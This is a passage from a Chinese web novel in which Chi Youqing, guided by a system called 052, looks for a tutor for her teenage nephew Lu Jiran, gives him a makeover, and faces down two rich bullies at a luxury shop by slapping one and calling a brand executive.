墙壁，左手插在衣兜里，右手拿着手机，指尖在屏幕上滑动，似乎在查看什么。听见她的动静，抬眸看来，问：“好了？” “好啦好啦。”池又青快速拉上外套拉链，把刚从冰箱里拿出来的矿泉水递给他，“裴先生，要吗？” 裴珩婉拒：“我不渴，谢谢。” 池又青没所谓，自己拧开喝口就放一旁，坐在玄关板凳上换鞋。 裴珩注意到，她刚换下来的拖鞋，与一旁摆放齐整的蓝色的男士拖鞋是一个系列。 “恭喜。”他忽然说。 池又青正弯腰系鞋带呢，听这话茫然抬头：“啊？” 裴珩：“之前的急事。” 池又青这才想起自己曾经在车上说过的胡话，大方道：“那是我乱讲的。” “当时就想让你开快些！其实我那天是去接我侄子。不过我打车不喜欢跟司机聊自己的事，一般都胡说。裴先生，你没生气吧？” 女孩讲这话的时候神情自然坦荡，杏状的眼微弯，睫毛卷翘，眸光明亮，半点也没不好意思，格外理直气壮。表情里的潜台词似乎在说—— 噢，裴先生，如果你生气的话，那就生气吧。 裴珩右手轻微在自己的腕表上摩挲而过，敛眸，说：“不会。” 池又青系好鞋带站起来，原地跺两下：“我好了，走吧。” 物业中心不远，池又青前两天去过，如今是自信满满，直奔而去。 让池又青惊讶的是，裴珩比她这个业主还熟悉这里。 她本来想带路呢，结果在喷泉的岔道口犹豫不定。 裴珩从她身后走上来，提醒：“物业中心在右边。” 还真对了。 裴珩之前也来过这？帮他朋友办事？ 到物业中心，一直在这干活的老员工一眼认出裴珩，笑着跟他打招呼：“小裴，你回来了啊。” 池又青在旁假装认真办手续，实则竖起耳朵偷偷听。 搞半天，裴珩就是这的业主！跟这老员工大姐还有点渊源，以前也住一个小区，所以这大姐对他熟悉。 只是先前在外地工作，将房子租了出去。如今回来，租客刚结束租期，家里还在收拾归整。 裴珩跟那大姐聊到一半电话响起，他出门去接。说是聊天，其实大多数时候还是大姐在说话。裴珩只是疏离地站着，间或点头回应。 他不过分热络，也不冷落。 只是恰如其分地给出反应，不叫讲话的人觉得扫兴。 他一走，大姐又跟同事八卦起来。 池又青听半晌，算是明白过来。这裴珩八成是赶上失业浪潮，没了工作，从大城市回来。所以才搞司机业务，也不算浪费他那辆欧陆。 失业下岗干专车，送外卖的事池又青是听了不少。 没想到裴珩也是其中一员。 裴珩再回来时，大姐熟稔地顿时收声，也不知道这样背后聊八卦聊过多少次。 池又青也跟着收敛表情，心中却有另外一个心思活泛起来。 她刚刚可听大姐说了，裴珩可优秀了，读书时学习好，上班后工作好。 池又青的小眼神忍不住往裴珩身上瞄。 裴珩想不注意到都难。 在池又青不知道第几遍看过来以后，漫不经心翻看物业手册的的男人终于抬头，迎上她的目光，毫不闪躲。 池又青被抓个正着，也不心虚，冲他笑得眼眸弯弯，说：“裴先生，我想问个私事。” 裴珩的指尖停在小册边角，问：“什么事？” 池又青知道自己这样有些唐突，但她实在没办法。 她现在就跟病急乱投医的人没什么区别，秉持着死马当活马医的心态，她说：“裴先生，你感觉你的学习水平怎么样啊？” 见裴珩愣了下，池又青补充解释：“就是高中时成绩如何。啊对了，你参加过高考吗？考得怎么样？” 裴珩表情平淡，说：“还行。” “正常发挥。” 他合上小册，问：“怎么了？” 池又青眼睛一亮，接过处理完的手续，跟着裴珩往外走，故意拉近两个人的距离，悄声跟他说：“裴先生，你想不想赚外快啊？我这有个活，来钱特别快。” 她简明扼要地跟裴珩说明现在的情况。 “两千一课时，40分钟，可以先试课，双方都满意再继续，试课也收费的。”池又青希冀地看向他，“价格都好说，再提也没问题，只要有效果，酬薪上不封顶。怎么样，裴先生，你想试试吗？” 裴珩走出中心，停下脚步，转身看来：“为什么是我？” 池又青看见他身后一树的乌桕叶在风里沙沙晃动，翠绿与枫红交错，衬得眼前的人更加赏心悦目。 哎。 为什么？ 她能说是因为自己看了大半天的家教，发现不是智慧过头没了头发，就是年纪轻轻但长得太像老师。往那一站，她都觉得有压力。别说给陆季燃补课了，光是她想到要跟这样的家教每天打照面，她都觉得心慌。 裴珩来得正好。 脸是绝对过关的，就是不知道这脑子怎么样，是不是真像物业大姐说得学习很好。 “你看起来就很聪明。”池又青这话没撒谎，“裴先生，要试试看吗？” 第22章 第22章男人就得多打扮。 “池又青。” 陆季燃看着坐在对面的女人时不时盯着手机叹气，眉头不自觉地皱起，情绪也跟着她一同被牵动，犹豫好久，还是没忍住，问她，“出事了？” 池又青头也没抬地说：“没啊。” 陆季燃不太相信，她的表情一看就是有事的样子。 如果说平常的池又青看起来是天气预报里的大晴天，那现在的池又青就是阴转多云。 但池又青一脸没打算说，他便没再多问。只是伸手摆弄着面前放在汤碗里的小勺，瓷与瓷相撞，叮叮铛铛作响，明显心绪也跟着乱。 “是因为我吗？”陆季燃忽然问。 池又青从手机里抬头，看陆季燃一眼：“你怎么这么想？” 陆季燃抿唇，有些烦躁地抓把头发，道：“你想让我好好学习，但是我——” “不是这件事啦。”池又青宽慰他，“但也有点关系。” 下午才被裴珩拒绝的池又青现在正给陆季燃挑新家教呢。 她很有自知之明，知道自己以现在的水平，辅导小学数学估计都得打开搜题软件查上一查，更别提高中。 还是别祸害陆季燃了。 忙完的蒋瑶得知她烦恼这事，主动提出帮她问问。 一聊才知道，蒋瑶也算是个学霸，只是工作运不好，刚毕业就碰上领导pua，背锅被辞退后生场大病，从此看见写字大楼便生理性水土不服。 真的会在写字楼门口呕吐的那种。 调养期间，她为找事干，开始帮朋友搬家收拾，后来名声传出去，干脆当工作做。 她前所未有地在这份工作里感到满足。每次踢客人把房屋收纳整理好，她就觉得自己心里的房间也被跟着收拾了一遍。 用蒋瑶的原话说，这比在办公室里当牛马挨骂背锅强。 蒋瑶又说，自己以前读书的时候，为了给自己赚生活费，成天在外面打零工。 家教算是她常做的工作之一。 听完这履历，要不是蒋瑶平时不在江城，池又青都想让她来帮忙教娃。 好在蒋瑶因着现在这份整理师工作的缘故认识不少人，已经替她询问。 “放心吧池小姐。”蒋瑶同她说，“你这个预算绝对能找到很好的老师了。据我了解，一般很有资历的老师补课才会开这么高的价。” 蒋瑶说得没错，她一把消息扩散出去，很快就有好几个人来加池又青好友，池又青挨着聊了下，又看了他们的简历，都不算太满意。 新的人又在加她。 又看两眼，池又青实在觉得头疼。 哎。 裴珩要是不拒绝她就好了，那不就没这么多事了？ 池又青放下手机，决定暂时把 这事抛在脑后。 她瞧着陆季燃递过来的一小叠A4纸，眉头紧锁，十分困惑地问。 “这什么？” 陆季燃坐在她的对面。 她验收完蒋瑶的工作成果就出门接上陆季燃，带他去医院换药，医生说他恢复得不错，不愧是年轻人，新陈代谢快，体质好。 两人顺路在外面吃饭，池又青又不知道吃什么，开车转悠半天，随机找了家看起来还不错的中餐。 菜还没上呢，陆季燃就先给她上了份不知道是惊喜还是惊吓的东西。 池又青捏着手里的纸张，观察了下，这玩意儿还是装订好的，正式又慎重。 陆季燃这是玩哪出？ 池又青不明所以地看着他。 陆季燃食指碰碰鼻尖，眼神飘忽：“没什么，只是份协议。” “协议？”池又青心一紧。 陆季燃没事给她协议做什么？这是被她一大早的袭击弄烦，准备撒丫子跑路？她的劝学之路，还没开始就已失败？ 她赶紧打开来看，越看却越迷糊。 陆季燃解释：“之前你不是跟董旭签了合同吗？虽然我知道，那个合同不作数。但是……” 有些话卡在他的喉间，怎么都讲不出，最后只得烦躁地挠挠头发，右手搭在后脖子上，指节分明，头看向左边，对说出这些话感到别扭，就像是暴露什么，让他有些不适应。 他说：“这合同是我今天找朋友家里的律师看的，应该没什么问题，你就当是我打给你的欠条。” 池又青搞不懂：“啊？你欠我什么了？” “董旭的事。”他低着头，底气不足地说，“我现在这样，没什么可以回报给你，所以我在想，先拟个协议合同之类的，等以后——池又青！！你笑什么！！” 池又青忙收敛嘴角笑意，木头人似的说：“没呢，没笑。” 陆季燃羞得发躁：“我都看见了！” 他起身，伸长手去拿那些纸：“不要算了，还我！！” 池又青忙护住这协议：“那可不行，你给我了，就是我的。” 她又认真看了几遍，052实时给她解释，看清楚以后，池又青接过陆季燃从书包里拿出来的笔，在上面签了自己的名字。 陆季燃真贴心，一早就在自己那栏签好名字。 她欣赏着手里的白纸黑字。 这可是未来顶流主动给她的白菜卖身契啊。 不要白不要。 池又青回忆着原著里对陆季燃未来的描写，当真动了心思。左右这家伙以后都要当摇钱树的，与其便宜别人，不如肥水不流外人田，让她自己来折腾这事。 总不能她费时费力这段时间把陆季燃调教好了，等他高中毕业就跑去给别人打工赚钱去吧？ 她才不干这么亏本的事。 池又青支起下巴，细细打量他，直把他看得坐立难安，抬手战术性喝水。 池又青笑起来：“陆季燃，我要是偶尔拍点你的照片视频当记录，你介意吗？” 陆季燃说：“无所谓。” 这三个字说完，池又青就毫不犹豫地拿起手机，对着他拍了张。 陆季燃的水杯顿时拿也不是，放也不是，眼神看向镜头，有一瞬的惊吓。 他没想到池又青说拍就拍，很不适应，又有点少年人的包袱，握着杯子，故作淡定。 池又青：“别装，你就当我不存在。” 这很难当啊姨。 陆季燃感觉周围的人都在看过来，间或还能听到一些絮絮叨叨，池又青的镜头又一刻不停地对着他，陆季燃的耳根烧起来。 “还没好啊。”陆季燃问，“你到底要拍多少？” 池又青嗯了声，说：“其实我在拍视频。” 陆季燃努力维系半天的‘哥很帅很有素质’的表情瞬间崩塌，大喊：“池又青！！你玩我呢！！” 池又青抬脚就在桌子底下踹他：“嗷什么嗷？这么多人呢。” 陆季燃不管，叫嚣着：“你把视频删了！” 池又青就不。 陆季燃红温，警告：“你不准发出去！” 池又青欠欠的：“如果我就是要发呢？” 陆季燃咬紧后槽牙：“你——我——” 一怒之下怒了一下。 陆季燃发现，他好像也不能对池又青做什么。 瞧见陆季燃脸上想明白的神情，池又青诶嘿一声，收好手机：“等会吃完饭，咱俩去逛逛，你这头发，还有你这穿衣品味，实在得好好收拾收拾。” 陆季燃看着刚刚被服务员端上来的三菜一汤，忽然觉得嘴里的米饭有些难以下咽。 因为坐在对面的池又青，看他就跟饿了八百年的狼忽然见到肉一样，眼冒绿光。搞得他后背发麻，鸡皮疙瘩从脚趾长到头皮，一抖就能抖出两三斤来。 恐怖。 陆季燃第一次见池又青对什么事这么积极。 开车带他杀到江城最大的商场，先去顶楼找发型店给他剪毛，又去隔壁美容店让人给他修眉。 他就像是案板上的鱼，被钉在那，只能任人宰割。 眼看美容店的人要给他抹白白水水不知道是什么东西的玩意，陆季燃浑身一颤，跟那猫看见浴缸和吹风机一样，拼命往后躲去：“这就不用了吧。” 池又青的语气不容拒绝：“怎么不用？你脸这么干，得做护理。” 店内四周都是女生，就陆季燃一个雄性生物躺在椅子上。跟个珍稀动物似的，时不时有人往他这里看。 他尬得想遁地，强装镇定道：“我又不是女生，用不着。” “这算什么话？”池又青抬手往他脑门上一敲，“别的男生我管不着，但是你，陆季燃，从今天开始，必须给我好好收拾自己。” 陆季燃喳喳哇哇不服气：“为什么啊——” 池又青微笑：“因为我高兴。” 陆季燃闭嘴了。 “哇，小伙子，你长得真帅。”结束时，美容店的老板在前台结账时对陆季燃赞不绝口。 池又青附和：“对吧，姐，我侄子长得真的不错。” 她转头看着冷脸不语的陆季燃，夸到：“你们技术也好，这个眉形特别适合他，干脆利落有少年气。皮肤护理也挺在行的，你瞧瞧，他现在这张脸，跟刚剥壳的鸡蛋一样。” 陆季燃耳根烫得跟被火燎了一样，发红得厉害。他伸手去拽池又青的衣服，暗示她可以走了。 美容店老板道：“是啊是啊，本来就够帅了，现在这么一折腾，简直就是赛过金城武，貌比郭富城。我敢说，整个江城，都找不出比他还帅的小伙子。” 美容店老板这话绝非客套。 陆季燃这小子本就引人注目，理完发美完容，更是往那一站就像个行动的活招牌。 理发店的老板刚刚还拉着他拍了好些张照片，估计是要发网上宣传，还热情地问他：“小哥哥，想不想赚外快？可以来我们这当发型模特。” 美容店里的客户们更是或明或暗地瞧他。 直把陆季燃搞得不自在。 池又青倒是看现在的他顺眼许多。 果然，男的只要但凡在及格线上，用心多收拾，就不会丑到哪去。 更何况陆季燃还不止及格线呢。 池又青拿胳膊撞身边的少年：“夸你呢。” 陆季燃挤出一句：“谢谢。” 这别扭傲娇的小模样，直把老板逗乐，又给他们打了折。 从美容店离开后，池又青又带他逛街买衣服。 陆季燃看着她挑了一件又一件，丝毫不瞧价格，提醒：“我们每天都穿校服，用不上这么多。” 池又青无语：“校服里面不穿衣服？你准备裸。奔？陆季燃，以后进小区就把你那破校服脱了，蓝白蓝白，看着我就眼睛疼。” 陆季燃懂了。 池又青这是嫌他校服丑。 池又青又说：“还有你那堆花里胡哨跟个圣诞树一样的衣服，也都给我丢了。” 陆季燃不乐意：“不要，我觉得很帅，很显眼啊。” 池又青呵呵一笑：“显眼包是吧。” 她跟052吐槽：【这家伙以后绝对会被粉丝私下骂死吧？参加红毯都会被挂出来吐槽999＋说他穿得丑的那种类型。】 虽然池又青说得对，但052哪敢吱声啊。 为 自己未来的商业版图着想，池又青觉得她有必要从今天开始培养陆季燃的美商。 再帅的脸搭丑绝人寰的衣服都是辣眼睛。 “丢不丢？”她又问一遍。 陆季燃也倔：“不丢！” 池又青惋惜地叹口气：“那没办法了，我只好把新订的吉他退了。” 陆季燃瞪大眼：“你又买什么吉他了？” 池又青把订购信息给他看。 大师手作，高硬度永不变形枫木，内无钢筋引导，可自适应不同规格的琴弦。 陆季燃不受控地吞了口唾液，眼珠子都快黏上去。 池又青微笑：“怎么样？丢不丢？” 陆季燃嘀咕：“衣柜是有点小，有些衣服暂时穿不上，的确可以先挪到别的地方。” 池又青满意地拍拍他的脑袋：“乖。” 陆季燃哼了声，把她的手弄掉：“我又不是狗，别老摸我。” 池又青哇哦一声：“不摸就不摸。” 陆季燃瞄她一眼，问：“不是，池又青，你哪来的人脉，能找到这些吉他？” 池又青神秘笑起：“山人自有妙计，你且猜着吧。” 陆季燃的心里就跟被猫挠一样好奇。 因着有吉他作人质，他像个小人偶一样接受着池又青的打扮。她挑衣服快准狠，可就算这样，陆季燃也来来回回进了无数次更衣室。 每次都要顶着店员和其他客人惊艳又调侃的目光被池又青揪着拍照，累上加累。 最后一楼逛完的时候，他坐在店内的休息沙发上，只觉得还不如回学校跑两千米。 两人从上逛到下，池又青还觉得不够，把东西塞车上后，又开车领着陆季燃去专店。 她临时瞧见一家配饰店要去逛，让陆季燃进去等自己。 “你先去选点自己喜欢的，等会我来买单。” 陆季燃知道，如果他不挑，等待他的会是极限穿脱的试炼。 芭比都没这待遇。 他走进店，认真地看起来。 池又青挑剔，如果不用心选，她绝对会不高兴。 他逛半晌，首先排除池又青绝对不会喜欢的圣诞树风格，亦或者叮叮铛铛挂件多的，再去看其他。 看来看去，陆季燃选中一件针织外套，黑色，耐脏。 池又青刚刚对他说的话他还记得呢。 不知道穿什么的时候就挑黑白灰，别老选高饱和的衣服。 这总不会出错吧？ 伸手拿下来准备试，店员却表情尴尬地跟他说不好意思，又一直朝他身后看。 陆季燃回头，瞧见个认识的。 梁骁。 上回他和老白小胖赶去抢户外篮球场，就是跟英盛国际的学生抢。那地本来是公用的，大家都去。英盛的学生非要占住，老白受不了这气，陆季燃也觉得不爽，两方人约好打球定输赢，输的人不准再来。 结果显而易见。 那天以后，那户外篮球场就是九中的地盘。 梁骁是英盛的老大，陆季燃见过他几回。 每次都站在小弟后面，脖间挂着头戴式耳机，却从没见他听过。他一般只叼着挂在脖子上的电子烟，一头红毛，眼神嚣张，不爱说话，兀自流露着一些尔等屁民什么都不懂我的杀马特孤傲王霸之气。 现在也一样。 他的狗腿小弟郭允冲着陆季燃呛声：“唷，九中的人怎么在这啊。” 陆季燃懒得理他。 这种无视让郭允更为生气。 自打那天带人打球输给陆季燃后，郭允就一直被英盛的兄弟明里暗里嘲笑，把这事当梗一样成天说。他一直憋着口气，想找陆季燃算账。 现在总算是让他等到机会。 “小刘，把那件衣服拿过来。”郭允熟练地使唤。 店员小刘忙把陆季燃好不容易挑出来那件衣服递过去。 “这件多少？”郭允问。 “二万九。”店员小刘说，“郭帅，你要这件吗？这是限定款，码有点不全了。你要是需要，我给你调货。” 郭允哼了一声，看向陆季燃，瞄过他款式落后的运动鞋，嗤笑一声：“九中的，听见没？二万九，你买得起吗你？” 是有点贵。陆季燃不想花池又青这么多钱。没搭理郭允，准备去看其他的。 郭允偏偏跟他杠上，拦住他，把陆季燃上上下下挑剔地看一遍：“九中的，这不是你这种人该来的地方。” 小刘被这架势吓得额头冒汗，慌乱道：“郭帅，有话好好说，好好说啊。” “滚！有你什么事！”郭允一把将小刘推开，后者直接撞到架子上，东西散落一地。来不及顾及伤口，转头去处理商品。 对此，郭允满不在乎。 瞄见陆季燃挂在书包上的菜头娃娃，他嘲讽地笑：“我说，陆季燃，你有多穷啊？这火锅店送的娃娃都要挂在书包上啊？” 陆季燃忍了半天，听到这话，实在忍不下去，转头一把揪起郭允的领口：“你有完没完？” 郭允被陆季燃的眼神盯得有些发虚，但转念一想，这是店里，脖子一梗，迎着陆季燃的目光瞪回去：“我又没说错，本来就是个破娃娃，你这么宝贝做什么？” 陆季燃眉间着火，右手已攥成拳，正蓄力呢，有人喊住他。 “陆季燃。” 他愣了下，回头。 池又青手里正拎着饰品店的黑色小袋子，快步朝他走过来。 陆季燃马上松手，放开郭允，反应速度就跟那训练有素的大狗一样，并且下意识想要解释：“池又青，事情不是你想的那样，我——” 话没说完，就见池又青一把将他拉在身后，手里的黑色小袋子塞进他的掌心，然后瞧着面前的郭允，没半点犹豫，高抬右手。 “啪——！” 所有人都呆了。 店员，客人，梁骁，郭允，还有陆季燃。 全都被响亮的耳光声镇住。 脸部火辣辣的疼痛让郭允回过神来，不敢置信：“你打我？我爸妈都不敢打我，你居然——” “啪——！！” 又是一耳光。 瞧见眼前的人脸上左右终于平衡了，池又青指使陆季燃把湿巾拿出来，接过，一边慢条斯理擦手，一边面容带笑，那笑意却不及眼底。 她看着这混小子，下巴一抬，张扬道：“对啊，我打你，就打你，怎么了？” 郭允这辈子都没经历过这种事。 不到一分钟的时间里，他被同一个人接连打了两巴掌，左右开弓，刺痛平等地从脸部的每个方向传来。 耳鸣都快给他扇出来，脑袋嗡嗡作响。 呆愣一瞬后，郭允整张脸烧红起来，让人分不清是被打的，还是因为恼怒。 他高高抬手，要还击回去，嘴上大骂：“死女人，你疯了吗？” 掌风就要落下来。 池又青半点没怯，郭允却被人拦住。 拦他的人不是陆季燃，陆季燃正挡在池又青的身前，护主的猎犬一样，双眼撕咬着郭允。 梁骁站在郭允身后，一把揪住他的领口，将他往身后拉。 郭允不服气：“老大，你做什么！你放开我！看我今天不弄死她！” 梁骁盯着他：“闭嘴。” 郭允顿时收声，不敢再造次，眼睛却还是凶狠，看他那样子，池又青毫不怀疑，他恨不得把自己的眼珠当子弹一下咻咻射过来。 梁骁人模狗样的，红毛一看就是精致打理过，八成出门前特意有用夹板处理，还带着点小卷。 说话之前抬手用指尖把额前中分的刘海往后一顺，看似彬彬有礼地说：“这位小姐，不好意思，我这位朋友平日里讲话就是这样，口无遮拦，你千万别往心里去。” 他看向被放在一旁的那件黑色针织外套，是陆季燃一早挑中的那件。 拿起挂在脖子前的电子烟吸口，说话前朝着池又青吐出一团烟雾。 池又青面不改色，倒是陆季燃被这毫无尊重的动作惹怒，要不是池又青挡着他，他定会一步上前推开梁骁，冲他大声质问。 梁骁晃晃手里的电子烟，说：“作为赔礼，这件衣服，我 买下来，送给你们，好吗？” 第23章 第23章陆季燃的心脏忽地一疼。…… 梁骁的话让陆季燃的脸色难看至极：“谁稀罕。” 他拉着池又青就要往外走。 池又青拍拍他的手腕，示意他放开，瞧着眼前的红毛，终于清楚的意识到，这小小的江城，真是卧虎藏龙。 还是说，这个年纪，十六七的男孩，天然如此？人均装货，区别就是全挂半挂和面包车而已。 还是她之前骂陆季燃骂得太早了。 比起眼前这俩货，陆季燃充其量算个暴躁的小面包。 052悄悄提醒她：【宿主，这两人你要稍微注意下。】 池又青在心里好奇：【怎么了？他俩有毒吗？】 052：【……那倒没有。】 052：【这个梁骁和郭允算是原著里的小反派。】 由于这部分原著剧情不用花费成就点就能获取，052干脆一口气给池又青介绍完。 听完后，池又青懂了。 搞半天，这俩小子在原著里的作用就是欺负虎落平阳被犬欺的陆季燃，顺便为了恶心他，还对未来会出现的女主出手，几番找事，且惯用技能就和现在一样，都是擅长且只会用权势压人。 仗着自己老爹老妈的背景耀武扬威，以为全世界都要围着自己转，半点也瞧不起别人。 没想到啊，她这是提前体验女主待遇？ 那她可真是要好好给这俩小反派上一课了。 池又青迎上梁骁的目光，笑着说：“一件衣服，也想打发我？” 郭允格外不屑，呸了一声：“我就知道！” 梁骁比他淡定，对此习以为常，转着自己指尖的黑色奢牌戒指，难掩轻蔑地说：“你还想要什么？” 池又青看向撑着腰站在风暴圈边缘苦哈哈一张脸的小刘，又看了眼堆在一旁被砸落的商品。 梁骁捕捉到她的目光，对一旁的人说：“把那些都给我包起来。” 豪气地说完这话，梁骁转头看着池又青和陆季燃：“这下总够了吧？” 陆季燃舌尖顶过腮帮，大翻白眼。 池又青点点头，说：“谢谢。” 梁骁轻哼一声，又抽口烟，心想：果然如此，什么人都一样。 他看见池又青拿起手机走到一旁打了个电话，漫不经心地往结账处走，拿出副卡，食指和中指并着，将卡夹在中间，有一搭没一搭地敲着柜台表面。 笃笃笃。 是挺少爷范的。 郭允站在他身后，满脸得意地看着陆季燃，又对着池又青比了个中指。 刚刚装得还挺有脾气，现在不也被几个钱折服了吗？ 郭允等着池又青收下东西，对自己低头哈腰地道歉。 却见专店的主管急匆匆地走过来，举着电话，满脸慌张，边走边问：“池小姐，请问哪位是池小姐？” 池又青靠着柜子懒洋洋地举手。 主管忙把电话递过来：“池小姐，夏总找你。” 正在准备结账的小刘一愣，郭允也呆住，就连梁骁都忍不住放下了把玩的小烟管。 这什么情况？ 夏总是谁？ 陆季燃也偏头看。 池又青说了声谢谢，接过电话，语气无奈：“夏姨，您不是有我电话吗？怎么还麻烦别人。” 不知道对方说了什么，池又青笑起来，颇有几分得寸进尺的娇纵：“是，还是夏姨懂我，您说得对，撑腰这事，当然要明目张胆的来。好好好，晚点聊，谢啦夏姨。” 挂断的嘟嘟声传来后，池又青把手机还给主管。 主管一脸紧张：“池小姐，夏总有特别说什么吗？” 池又青：“没，就跟我叙叙旧。” 主管大松口气，又说：“池小姐，哪些是你的单？夏总说了，都给你免单。” 池又青冲着傻在一旁的梁骁和郭允抬抬下巴：“我倒是什么都没买，有人乐意给我付钱呢。” 主管不知道刚刚发生什么，他朝梁骁和郭允说：“两位是池小姐的朋友？夏总也吩咐了，因为池小姐的缘故，这一周都特意打折，二位还需要什么，都可以再挑选。本店也赠送二位一次免单资格。” 郭允的脑子跟被人用锤子砸过一样晕乎。 不是…… 这什么走向啊？ 明明对方说的都是中文，连在一起，他怎么就有点不明白呢？ 梁骁的脑子显然比他好使一些，脸上已失去刚刚的傲慢和轻蔑，取而代之的，是一种青红交接的难堪。 有个小员工惊呼一声，盯着手机上查找到的资料，不敢置信地说：“夏总？主管，你刚刚说的夏总，该不会就是咱们大华区总裁夏琼吧？” 主管第一反应是瞧池又青的脸色，又对小员工抬手，暗示对方噤声。 小员工立刻闭嘴，心中却想，今天这班上得真是值了。 这波简直吃到大瓜！ 夏琼诶！ 平日里只能在各大晚会或者盛典上看见的人，现在居然跟他们这个小城的分店有了联系！ 也不知道这池小姐跟夏总是什么关系，刚刚听她打电话，瞧着可亲昵。 主管心里也震惊啊！ 天知道他刚刚短短几分钟内心脏遭受了多大的起伏，比坐跳楼机还恐怖。 他还以为他们店出事了！ 这要放在古代，跟丞相忽然一声不吭跑到县城跟九品芝麻官聊天没区别。 一般这种开头后，要么接着株连九族的死罪，要么就是泼天的富贵。 还好，还好。 主管眼泪汪汪地看着站着眼前的富贵本贵。 可以想象，从此以后，因为这位大小姐在这，有多少资源会像他们倾斜。甚至别说以后，就连现在，不少知道夏总居然主动给他们店打电话，还特别安排折扣活动周，省内省外的分店都炸了！ 各个都眼红起来。 他们品牌可是从来没有过这种先例！ G家一贯定位高奢，从不亲民，甚少参加各项活动，更别提打折。唯一让所有G牌爱好者无法错过的，就是12月的限定活动。据说，这个月是G牌高层最宝贝的小公主的生日月。 没想到啊…… 他们这个小破店，居然也有迎来特殊活动的一天！ 而这一切，全都只是因为眼前这位。 主管看见她就像是在看行走的印钞机，什么都不用做，往那一站，就能哗啦啦地吐钞。 贵人啊！ “池小姐。”他热情地说，“你要不去休息室坐坐？我把我们这季度的新品都给你拿出来，你瞧瞧有没有什么喜欢的。” 池又青把默不作声站在一旁的少年扯过来：“我就不用了，那些东西都看习惯了。给他挑挑吧。” 陆季燃无措起来，抗拒得非常明显：“我也不用啊！” 但他的拒绝没人在乎。 主管一个响指，一堆姐姐众星捧月一样把陆季燃抬走。陆季燃就跟那进了妖精窝的唐僧一样，明明一米七几的大个呢，现在蜷着身子，恨不得把自己缩成一团，转头朝他的孙悟空小姨求助。 孙悟空小姨表示乐见其成，还下令：“挑不满十件不准下来。” 陆季燃发出一声惨绝人寰的喊叫。 直把旁边的人都看乐，笑他这是身在福中不知福。 店内的其他客人得知打折活动以后，当即开始狂逛，或者拿着手机不断拍照，发给朋友。 是真朋友就别错过打折啊！有便宜快来一起占啊！ 满场的热闹里，梁骁所在的位置是唯一冰点。 他攥紧拳，哑着声音：“你故意的？” 池又青捧着主管递过来的热茶，吹开上面的茶雾，笑着说：“什么故意？你要给我送礼，我也应该回礼。” 以牙还牙。 这是池又青的生存之道。 小时候，她是个异类，肤色跟周围人大多不同，长得又像块小面包，常常被欺负。她一开始会忍耐，想要表现得乖一点，更乖一点，也许这样就会被别人接受喜欢。 后来妈妈知道这件事，拉着她去了学校。 在教室里，当着所有人的面，对她说：“baby，谁剪 你头发？” 池又青小小一团，缩在妈妈身后，指了指。 她妈直接上前，把那小子揪过来，摁着他的颈部，让他弯腰，低下头来，又递过来一把剪刀。 “剪。”她妈说，“他怎么剪你头发，你就怎么剪回去。” 那是池又青第一次看到温柔的妈咪生气，哪怕后面走了法律程序，也召开了校董会，妈咪甚至为她建了新的学校，营造更好的环境，但池又青永远记得，在教室里，妈咪对她说的话。 从此以后，她常常对自己说：池又青，不要忍耐，要反击。 就算有的时候感到害怕，也要装作不害怕的样子，让那些欺负你的人，瞧不起你的人，看见你的态度。 装得久了，到现在，她真倒有点天塌下来了都不怯场的本事。 梁骁这等小孩，在她眼里更是不值一提。 管这些臭小子在家里是小太子还是小皇帝，到她这，都得乖乖当个小孙子。 她抿口茶，润透嗓子，说出的话却叫梁骁浑身透凉：“人外有人，天外有天。弟弟，下次想用钱砸人的时候，最好擦亮眼睛，看清楚点，否则就是搬起石头砸自己的脚，你说是不？” 明明女人的声音轻柔，飘飘然的，像羽毛，却比掷地有声的话语更叫梁骁觉得耻辱。 此刻，他的脸已经和他头顶的精心打理的毛一样红。 偏偏池又青还在说：“刚刚主管说送你免单，你要不要挑挑？” 梁骁咬牙不语，拉着郭允转头就走，姿态狼狈。 郭允却还在慢半拍地问：“老大，免单诶，真不要吗？” 梁骁抬脚就是往他屁股上一踹：“滚！你要就自己去要！” 郭允从地上爬起来，喊：“老大，老大，等等我啊！” 边跑还边回头，瞧着池又青笑语盈盈朝他们挥手的样子，更是怄得想吐血，追着梁骁问：“老大，那她打我那事，就这么结束了？” 梁骁被这傻逼弄得气血不畅，一脚踩上摩托，话都不想说，直接急骑离开，只给郭允留下一嘴的尾气。 店内，池又青跟主管提及，替小刘放个假，让他去急诊看看，小刘忙说不用，主管吼：“让你去就去！抗什么抗！都要报销的！不扣你工资！” 小刘反复确认，这才松了口气。 主管有心招待池又青，奈何他们店的消息传得比火箭还快。周边城市和省城的同行都在问什么情况，不少特殊客户也得了消息，询问这折扣是真是假。 本来这该只是一个平凡无比的工作日晚上，他们甚至再过会就能下班。 现在，他们这家分店，却已经有了引爆全省乃至全国的趋势。 往年都在省区总结会里挨骂的主管心里乐呵，破有一点一人得道鸡犬升天的快乐，却还是苦着脸跟池又青说：“池小姐，我这——” 她早预料到这情况，摆摆手：“去忙吧。” “诶！”主管朝着池又青鞠躬，赶紧去一旁工作。 瞧着店内的人流量逐渐增加，池又青拍了张照，发给夏琼。 她的本意只是让夏琼帮她随便装个逼，却没想到夏琼给她整了个大活。 这下她妈指定要知道她人在江城了。 池又青正琢磨着呢，陆季燃终于下楼，被左右簇拥着，神情却像刚刚逃难回来。 八成是被sales姐姐们调戏得够呛。 “快走快走。”陆季燃人已经奄奄一息，张嘴就说，“我不行了，真不行了。” 池又青哈哈笑起来，留了个地址，让他们把陆季燃挑好的东西和她刚刚选中的送过去。 趁着店内的人流量还没爆满，带着陆季燃先走。 刚到停车的地方，出车库的路线畅通，入车库的路线却拥挤。 陆季燃很是不解：“这些人都干嘛呢？难不成都是去刚刚那家店的？” 池又青把着方向盘爬上S弯，说：“见过超市鸡蛋打折有人抢的时候吗？跟那情况一样。人就是如此，不管住在哪，要买的是什么东西，看见好价都没有不冲的。” 陆季燃哑然。 他偷偷去瞄池又青，心里一肚子的好奇已经咕噜咕噜冒泡。 这段时间和池又青接触下来，陆季燃深知，他的这位新晋小姨很有钱。 但一个电话就能让这种品牌店为她做到这一步，这就不单单是有钱而已。 “想问什么？”池又青双手握着方向盘，快速地瞄他一眼，“别老看我，直接问。” 陆季燃犹豫半天，挠挠头发，说：“算了。” 池又青哪能不知道这小子在想什么？开口说：“夏琼是我妈朋友。” 陆季燃喔了一声：“我又没想问。” 池又青的指尖点点方向盘：“下次遇到这种事，你别动手，知道吗？” 陆季燃低嚷：“你不也动手了吗？” 池又青说：“你跟我能一样？” 她以后又不做台前工作，陆季燃可是要的。更何况，她有律师天团在背后，陆季燃有啥？有个恨不得坑死他的亲爹后妈。 “那俩臭小子。”池又青想到就觉得烦，“但凡这是我开的店，我就让他们这辈子都别想再进来。” 